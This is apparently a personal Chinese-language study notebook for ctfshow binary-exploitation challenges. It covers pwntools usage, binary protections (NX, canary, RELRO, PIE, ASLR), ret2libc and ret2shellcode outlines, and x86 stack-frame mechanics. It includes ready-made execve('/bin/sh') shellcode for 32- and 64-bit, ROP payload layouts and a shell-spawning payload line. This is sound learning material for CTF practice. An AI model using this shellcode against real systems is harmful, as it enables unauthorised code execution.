通用操作

  • 前置操作
chmod 777 pwn
checksec file pwn
file pwn
  • 脚本基础
from pwn import *
io = remote("pwn.challenge.ctf.show",端口)

context.log_level = 'debug' # 设置 pwntools 的日志级别为调试模式

p = process('./pwn') # 本地连接
p = remote('pwn.challenge.ctf.show', 28234) # 远程连接

payload = asm(shellcraft.sh()) # 使用 pwntools 的 shellcraft 模块生成一个 shellcode,并使用 asm 函数将其汇编成二进制指令
io.sendline(payload) # 发送 payload 到远程连接
io.sendlineafter(b'Username:',payload) # 自动加回车
io.sendline(password) # 自动加回车

io.recvuntil(b',') # 接收直到逗号
password = io.recv() # 然后读取剩余内容

io.close()
io.interactive()

32位:buf+system+返回地址+参数1+[参数2]
64位:buf+pop rdi;ret+参数+system+返回地址

ida

快捷键

  • “Segments”(段)窗口:Shift + F7
    • 看got一系列表地址

函数

strcmp

返回值 含义 说明
0 相等 两个字符串完全相同
> 0 str1 > str2 第一个不匹配字符在 str1 中的值大于 str2
< 0 str1 < str2 第一个不匹配字符在 str1 中的值小于 str2

puts

  • 输出数组直到遇到\0
  • 寻找方向是从内存低地址到高地址,在ida中显示为向下

gets(s)

  • 从标准输入读取字符串到s
  • 不检查边界:gets() 不管 s 指向的缓冲区有多大,都会一直读取直到遇到换行符 \n
  • 如果输入超过缓冲区大小,会覆盖栈上的其他数据(包括返回地址)

动态/静态编译判断:

  • ida
    • shift+F11
    • imports 超多 libc 函数 → 动态
    • imports 几乎为空 → 静态
  • file
    • statically linked:静态
    • dynamically linked + interpreter /lib/ld-linux.so.2:动态
  • checksec(本质上是通过一些检测机制来判断是否存在某种保护,这个检测机制有些时候是会有误报的)

动态

RWX

  • Has RWX segments
  • 二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限

NX

NX enabled

  • NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
  • NX→一定找pop_rdi/ret:
ROPgadget --binary "pwn" --only "pop|ret"
  • 动态找写入点:
gdb pwn
break main
run
vmmap
  1. 动态,开启NX保护,部分开启RELRO保护
    ret2libc:例题1;例题2;例题3
  2. 动态 + 静态栈保护函数
    爆破canary值绕过栈保护函数memcmp()

ret2libc【Return-to-libc】

(ai)一种栈溢出利用技术,当程序开启了 NX(数据执行保护) 导致无法在栈上执行 shellcode 时,攻击者通过覆盖返回地址,让程序跳转到 libc 库中的现有函数(如 system、execve)来执行恶意操作。

Stack

No canary found

  • 没有栈溢出保护
  1. 后门函数
    32位后门函数
    32位后门函数指定参数 + NX + Partial RELRO
    64位后门函数
  2. 有system()和/bin/sh
    32位
    64位
  3. 有system()和/sh:处理方式和/bin/sh一样
    f630573e-1.png
  4. 只有system()
    32位
    64位
  5. 无system()和/bin/sh
    32位 + NX + Partial RELRO
    64位

canary found

  • 看下是不是伪保护
import subprocess
import sys
import re

def analyze_canary(filename):
print(f"[*] 正在分析文件: {filename}")

# 1. 获取文件位数
try:
file_info = subprocess.check_output(['file', filename]).decode()
is_64 = "64-bit" in file_info
arch_str = "64-bit" if is_64 else "32-bit"
print(f"[*] 架构识别: {arch_str}")
except Exception as e:
print(f"[!] 错误: 无法获取文件信息 - {e}")
return

# 2. 使用 objdump 提取汇编
try:
# 使用 -d 反汇编,-M intel 方便阅读
asm = subprocess.check_output(['objdump', '-d', '-M', 'intel', filename]).decode()
except Exception as e:
print(f"[!] 错误: 无法运行 objdump - {e}")
return

# 3. 定义特征码
# 64位看 fs:0x28,32位看 gs:0x14
canary_pattern = "fs:\[0x28\]" if is_64 else "gs:\[0x14\]"
fail_func_pattern = "__stack_chk_fail"

# 4. 执行匹配
has_setup = re.search(canary_pattern, asm)
has_fail_call = re.search(fail_func_pattern, asm)

print("-" * 40)
if has_setup and has_fail_call:
print("[+] 结果: 确认开启了真·栈保护!")
print(f" - 检测到 Canary 存取指令: {canary_pattern}")
print(f" - 检测到保护失败处理函数: {fail_func_pattern}")
elif has_fail_call and not has_setup:
print("[!] 结果: 检测到伪保护 (False Positive)!")
print(f" - 虽然存在 {fail_func_pattern} 符号,但没有发现 Canary 指令。")
print(" - 结论: checksec 可能会误报,但实际上可以直接溢出。")
else:
print("[-] 结果: 该程序完全没有栈保护。")
print("-" * 40)

if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python3 check_canary.py <文件名>")
else:
analyze_canary(sys.argv[1])

RELRO

当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。

(sq)然后再去查地址就行,objdump -h pwn20或者readelf -S ./pwn20 |grep '.got'

.got.plt

  • 在同一次进程生命周期里,同一个共享库函数的加载地址是固定的;
  • 进程一重启,地址就可能换地方——这就是 ASLR(地址空间布局随机化)在起作用
  • .got.plt 里的值是绝对地址(64 位下 8 字节指针),不是相对偏移。它在运行过程中会变——从 0 → 第一次解析后变成真实函数地址。
    • GOT专门为PLT准备的节
  • .plt 本身代码段只读,只是无条件 jmp *.got.plt[n];
  • 如果 .got.plt[n] 还没填好,那个 jmp 就会落到一段“解析”代码里,由动态链接器负责把地址填上。

PIE

  • no pie:基址固定

ASLR

  • 操作系统内核在加载程序到内存时,随机化各个内存区域的基地址
  • PIE 是程序本身的属性,决定它能否被随机化
  • ASLR 是系统的行为,决定是否执行随机化
  • 两者缺一不可:没有 PIE,ASLR 对代码段无效;没有 ASLR,PIE 毫无意义
程序类型 ASLR 状态 攻击难度
non-PIE + ASLR 关闭 所有地址固定 🔴 极易(直接跳转)
non-PIE + ASLR 开启 代码段固定,其他随机 🟡 中等(需泄露 libc 地址)
PIE + ASLR 关闭 基址固定(因为 ASLR 关) 🔴 极易
PIE + ASLR 开启 完全随机化 🟠 困难(需泄露代码地址)
程序类型 ASLR 状态 程序有能力随机化吗? 操作系统实际执行随机化吗? 最终加载基址
PIE 开启 ✅ 有 ✅ 会 随机
PIE 关闭 ✅ 有 ❌ 不会 固定(通常为 0x555555554000 之类)
non-PIE 开启 ❌ 没有 ❌ 无法(只能随机化其他区域) 固定(编译时写死)
non-PIE 关闭 ❌ 没有 ❌ 不会 固定

(ai)这是最直接看到 ASLR 状态的方式。使用 --kernel 参数,checksec 会读取当前系统的内核配置和参数,并明确列出 ASLR 的相关状态

checksec --kernel

在输出中,你会看到类似这样的行,直接表明了 ASLR 的开启情况

Address space layout randomization                            Enabled          Sysctl                kernel.randomize_va_space
Randomize address of kernel image Disabled Kernel Config CONFIG_RANDOMIZE_BASE

静态

mprotect函数

ROPgadget --binary pwn --only "pop|ret" | grep "pop edi ; pop esi ; pop ebx ; ret"

零碎知识点

shell

  • 在大多数 Unix 或类 Unix 系统中,/bin/sh 是默认的 shell 解释器

重定向&&文件描述符

  • 通过重定向符>&0可以将命令的输出从默认的 stdout(文件描述符 1)重定向到标准输入 0。
  • 终端设备的双向性:
  • 在终端环境中,文件描述符 0(标准输入)、1(标准输出)、2(标准错误)均指向同一个终端设备。虽然 stdout 被关闭,但终端设备本身支持读写,因此通过 >&0 将输出写入文件描述符 0 时,仍能显示在终端上。
  • 此时输入ls >&0可以展开所有的目录文件
  • cat c* >&0:匹配所有以 c 开头的文件(如 catflag),将其内容输出到终端,于是ctfshow答案直接被显示出来了

gcc

  • 把各种文件编译成可执行文件
# .c
gcc flag.c -o flag
# .asm/.o
nasm -f elf32 XXX.asm -o XXX.o
ld -m elf_i386 XXX.o -o XXX
# .s
gcc -o flag flag.s
# 两种运行方式
# 第一种:
chmod 777 flag
./flag
# 第二种:
gdb XXX
run

ida操作

  1. 取消定义(Undefine) :
    • 按下键盘上的 U 键。
    • 这会把当前定义的数据“炸碎”,变成一堆原始的字节(通常显示为 db 且只有单个字节)。
  2. 重新定义为双字(Make Dword) :
    • 确保光标还在 080490E8 这个起始位置。
    • 按下键盘上的 D 键。
    • 按第一次,它可能变成 db (byte)。
    • 按第二次,变成 dw (word)。
    • 按第三次 ,它就会变成 dd (dword) 。
      此时,原本显示的 ‘Welc’ 就会变成十六进制数值 636C6557h
  3. 重新回到 ‘Welc’:A

汇编知识点

dd/db

  • dd (Define Double-word):把 4 个字节当作“一个整体”
    类型 :它定义的是一个 32位整数 (Integer) 。
    受端序影响 :是。
  • db (Define Byte):把数据当作“一串独立的字节”
    类型 :它定义的是 字节数组 (Array of Bytes) 或 字符串 。
    受端序影响 : 否 。

ptr

mov ecx, dword ptr aWelcomeToCtfsh
  • ai分析:
    • ecx :这是 目的地。 ecx 是一个 32 位的通用寄存器(Counter Register),这里被用作存放数据的容器。
    • dword ptr (Double Word Pointer) :这是 取多少数据 。
      • ptr 是指针的意思,指向内存中的某个位置。
      • dword (Double Word) 表示 4个字节 (32位)。
      • 合起来的意思是: “请去内存里抓取 4 个字节的数据” 。
    • aWelcomeToCtfsh :这是源地址 。
      • 这只是 IDA Pro 给内存地址起的一个 名字(标签) ,为了让你好记。
      • 它代表了字符串 “Welcome_to_CTFshow_PWN” 在内存中存放的 起始地址 。

暂时还没有归类的笔记

ret2shellcode

SHELLCODE = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
)
# 32位execve("/bin//sh", 0, 0)

SHELLCODE_64 = (
b"\x48\x31\xd2" # xor rdx, rdx # 第三参数为NULL
b"\x48\x31\xf6" # xor rsi, rsi # 第二参数为NULL
b"\x48\x31\xff" # xor rdi, rdi # 清零rdi用于后续
b"\x50" # push rax # 压入0x00(字符串结束符)
b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # mov rbx, /bin//sh
b"\x53" # push rbx # 将字符串压栈
b"\x48\x89\xe7" # mov rdi, rsp # 第一参数:指向"/bin//sh"的指针
b"\x48\x31\xc0" # xor rax, rax
b"\xb0\x3b" # mov al, 0x3b # 64位系统调用号 execve = 59 (0x3b)
b"\x0f\x05" # syscall # 调用系统调用
)

脚本

from pwn import *

p = process('./main') # 或 remote('host', port)

# 发送数据(不带换行)
p.send(b'payload') # 发送原始字节
p.sendline(b'payload') # 发送 + 换行符 (\n)

# 发送数据(带格式)
p.sendlineafter(b'prompt:', b'input') # 等待出现 'prompt:' 后发送
p.sendafter(b'prompt:', b'input') # 等待出现 'prompt:' 后发送(不带换行)

# 发送数据(交互式)
p.sendline('ls') # 发送字符串(会自动编码)
p.sendline('cat flag.txt')

从 Format-luoyinhui 学习一些基础知识

栈布局(x86架构):
高地址
+------------------+ ← 调用前的栈顶
| 参数N |
+------------------+
| ... |
+------------------+
| 参数1 |
+------------------+
| 返回地址 |
+------------------+ ← 调用后的栈顶(返回地址压入后)
| 旧的EBP | ← 保存的上一个栈帧指针
+------------------+ ← 当前EBP(栈帧指针)
| 局部变量1 |
+------------------+
| 局部变量2 |
+------------------+
| ... |
+------------------+ ← ESP(栈指针)始终指向栈顶
低地址
; 函数prologue(开头)
push ebp ; 保存旧的ebp
mov ebp, esp ; 设置新的ebp(栈帧指针)
sub esp, 12 ; 为3个局部变量分配空间(x,y,z)

; 现在访问参数:
; [ebp+8] = 第一个参数 (1)
; [ebp+12] = 第二个参数 (2)
; [ebp+16] = 第三个参数 (3)

; 访问局部变量:
; [ebp-4] = x
; [ebp-8] = y
; [ebp-12] = z
  • 手打理解经 ai 确认理解无误:
也就是说先进后出是因为在调用前就确定的参数由于语言设计,函数会从ebp往前(旧ebp占用空间大小是确定的每个参数大小是函数声明中确定的)按照固定偏移知道参数地址,之后函数内局部变量按照声明顺序一个个加入到栈中开辟空间(只要声明就开辟空间,和赋值与否无关)然后这些参数一直处于ebp和esp中间按照声明顺序(esp随最后一个声明的局部变量移动)所以局部变量的地址可以同时通过ebp和esp表示但固定表示方式是ebp
  • ESP (Extended Stack Pointer 扩展栈指针):E = Extended (32位扩展,相对于16位的 SP)
  • EBP (Extended Base Pointer 扩展基址指针):B = Base (基址/基帧)
  • Register(寄存器)
时代 16位 32位 64位
栈指针 SP ESP RSP
基址指针 BP EBP RBP
含义 Stack Pointer Extended SP Register SP
含义 Base Pointer Extended BP Register BP

总结 esp,ebp 等栈结构在调用函数中的变化

调用函数:

  • 首先 main 第一次调用函数 ebp 指向 main 的栈帧,esp 永远指向栈顶(main 局部参数最后声明的一个的地址)
    【栈帧的最低地址=栈顶=esp 指向位置】
  • push 压参数从后往前入栈
  • 然后压栈返回地址(call add=push eip+?;jmp add)
    【从 push 参数开始 esp 随着向低地址移动因为 esp 永远指向栈顶】
  • push ebp 压入旧 ebp
  • mov ebp,esp 设置新的 EBP(指向保存的旧 EBP 位置)
  • sub esp, XX 为局部变量分配空间
    【局部变量如果没有给赋值也开辟空间】
    【一次性分配 XX字节,编译器可能按不同顺序分配,分配顺序无关紧要】
    【eax 是寄存器不在栈里面,在 CPU 芯片内部】
    【赋值 mov 局部变量是通过赋值内容地址(输入缓冲区)->寄存器->局部变量(这里没有栈地址对应函数变量名变化只有栈内容变化)】
; return x + y; 

; 等价于:

mov eax, [ebp-4] ; eax = x
add eax, [ebp-8] ; eax = x + y

; 释放前会把数据累加到寄存器里面,累加时按照声明顺序而不是先进后出【从ebp往低地址读取】
; 栈完全没有变化!只是CPU内部寄存器在操作
  • 然后 leave:等价于两条 -> =mov esp, ebp (ESP 指向 EBP) ;pop ebp (恢复旧的 EBP)
+------------------+
| main 的局部变量 |
+------------------+ ← EBP (恢复为 main 的 EBP)
| 参数2 (20) |
+------------------+
| 参数1 (10) |
+------------------+
| 返回地址 |
+------------------+ ← ESP (leave 后指向这里)
  • 然后 ret=pop eip,释放返回地址(esp 随之向高地址移动但参数未清理)
+------------------+
| main 的局部变量 |
+------------------+ ← EBP (main)
| 参数2 (20) |
+------------------+
| 参数1 (10) |
+------------------+ ← ESP (指向参数,还未清理)
  • 清理参数(调用者负责)add esp, XXX(ESP 向上移动 XXX 字节)
    【实际参数数据还在,只是后续视为空白数据直接覆盖】
+------------------+
| main 的局部变量 |
+------------------+ ← EBP (main)
| ... |
+------------------+ ← ESP (恢复调用前位置)